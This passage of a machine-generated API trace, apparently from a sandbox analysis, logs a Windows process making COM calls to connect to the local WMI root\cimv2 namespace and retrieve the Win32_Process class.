pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0069.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0069.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.446] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.446] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.446] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0069.446] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0069.446] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0069.446] IUnknown:Release (This=0x111f638) returned 0x1 [0069.448] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf10ba0) returned 0x0 [0069.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10ba0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0069.448] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10ba0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119b060) returned 0x0 [0069.448] WbemDefPath:IUnknown:Release (This=0x1bf10ba0) returned 0x0 [0069.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119b060) returned 0x0 [0069.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0069.449] WbemDefPath:IUnknown:AddRef (This=0x119b060) returned 0x3 [0069.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0069.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0069.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf10e20) returned 0x0 [0069.449] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10e20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.449] WbemDefPath:IUnknown:Release (This=0x1bf10e20) returned 0x3 [0069.449] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0069.449] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0069.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0069.449] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x2 [0069.450] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x1 [0069.450] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0069.450] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0069.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119b060) returned 0x0 [0069.450] WbemDefPath:IUnknown:AddRef (This=0x119b060) returned 0x3 [0069.450] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x2 [0069.450] WbemDefPath:IWbemPath:SetText (This=0x119b060, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0069.450] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0069.450] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0069.450] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.450] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0069.450] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0069.450] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0069.450] IUnknown:Release (This=0x111f638) returned 0x1 [0069.451] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf10d60) returned 0x0 [0069.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10d60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0069.451] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf10d60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf116a0) returned 0x0 [0069.452] WbemLocator:IUnknown:Release (This=0x1bf10d60) returned 0x0 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf116a0) returned 0x0 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0069.452] WbemLocator:IUnknown:AddRef (This=0x1bf116a0) returned 0x3 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0069.452] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0069.452] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0069.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0069.452] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x2 [0069.452] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x1 [0069.453] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0069.453] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0069.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf116a0) returned 0x0 [0069.453] WbemLocator:IUnknown:AddRef (This=0x1bf116a0) returned 0x3 [0069.453] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x2 [0069.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0069.453] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0069.453] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.453] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf113e0) returned 0x0 [0069.453] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf113e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf01440) returned 0x0 [0069.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef1db0) returned 0x0 [0069.571] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1db0, pProxy=0x1bf01440, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0069.571] WbemLocator:IUnknown:Release (This=0x1bef1db0) returned 0x1 [0069.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01440, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef1df0) returned 0x0 [0069.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01440, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef1db0) returned 0x0 [0069.571] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1db0, pProxy=0x1bf01440, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0069.572] WbemLocator:IUnknown:Release (This=0x1bef1db0) returned 0x2 [0069.572] WbemLocator:IUnknown:Release (This=0x1bef1df0) returned 0x1 [0069.572] CoTaskMemFree (pv=0x1beede50) [0069.572] WbemLocator:IUnknown:AddRef (This=0x1bf01440) returned 0x2 [0069.572] WbemLocator:IUnknown:Release (This=0x1bf113e0) returned 0x0 [0069.573] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0069.573] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0069.573] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef1dc0) returned 0x0 [0069.573] WbemLocator:IRpcOptions:Query (in: This=0x1bef1dc0, pPrx=0x11bee10, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0069.573] WbemLocator:IUnknown:Release (This=0x1bef1dc0) returned 0x2 [0069.573] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0069.573] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0069.573] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01440, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf01440) returned 0x0 [0069.573] WbemLocator:IUnknown:Release (This=0x1bf01440) returned 0x2 [0069.573] SysStringLen (param_1=0x0) returned 0x0 [0069.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0069.573] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0069.573] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.574] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0069.574] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0069.574] IWbemServices:GetObject (in: This=0x1bf01440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef4e10, ppCallResult=0x0) returned 0x0 [0069.598] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0069.598] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0069.598] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0069.598] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0069.598] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0069.598] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0069.598] IUnknown:Release (This=0x111f638) returned 0x1 [0069.600] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf113e0) returned 0x0 [0069.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf113e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0069.600] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf113e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119afa0) returned 0x0 [0069.600] WbemDefPath:IUnknown:Release (This=0x1bf113e0) returned 0x0 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119afa0) returned 0x0 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0069.601] WbemDefPath:IUnknown:AddRef (This=0x119afa0) returned 0x3 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf113c0) returned 0x0 [0069.601] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf113c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.601] WbemDefPath:IUnknown:Release (This=0x1bf113c0) returned 0x3 [0069.601] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0069.601] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0069.601] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x2 [0069.601] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x1 [0069.601] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0069.601] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0069.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119afa0) returned 0x0 [0069.602] WbemDefPath:IUnknown:AddRef (This=0x119afa0) returned 0x3 [0069.602] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x2 [0069.602] WbemDefPath:IWbemPath:SetText (This=0x119afa0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0069.602] 